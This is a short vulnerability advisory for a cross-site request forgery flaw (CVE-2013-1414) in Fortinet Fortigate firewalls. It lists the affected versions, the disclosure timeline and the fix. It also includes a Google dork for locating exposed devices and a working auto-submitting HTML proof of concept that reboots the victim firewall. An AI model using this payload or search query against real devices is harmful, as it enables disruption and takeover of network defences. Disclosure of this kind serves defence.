Fortigate Firewalls – Cross-Site Request Forgery
Vulnerability ID: CVE-2013-1414 Vulnerability Type: CSRF (Cross-Site Request Forgery) Product: All Fortigate Firewalls Vendor: Fortinet http://www.fortinet.com Vulnerable Version: < 4.3.13 & < 5.0.2 Description ========== Because many functions are not protected by CSRF-Tokens, it's possible (under certain conditions) to modify System-Settings, Firewall-Policies or take control over the hole firewall. Requirements =========== An Attacker needs to know the IP of the device. An Administrator needs an authenticated connection to the device. Report-Timeline: ================ Vendor Notification: 11 July 2012 Vendor released version 5.0.2 / 18 March 2013 Vendor released version 4.3.13 / 29 April 2013 Status: Fixed Google Dork: ========== -english -help -printing -companies -archive -wizard -pastebin -adult -keywords "Warning: this page requires Javascript. To correctly view, please enable it in your browser" Credit: ===== Sven Wurth dos@net-war.de PoC ==== This Example will reboot a Fortinet Firewall. This is just one of many possibilities to attack this vulnerability. ##### CSRF - Proof Of Concept #### <html> <body onload="submitForm()"> <form name="myForm" id="myForm" action="https://###_VICTIM_IP_###/system/maintenance/shutdown" method="post"> <input type="hidden" name="reason" value=""> <input type="hidden" name="action" value="1"> <input type="submit" name="add" value="rebootme"> </form> <script type='text/javascript'>document.myForm.submit();</script> </html> ##### End Poc ##### |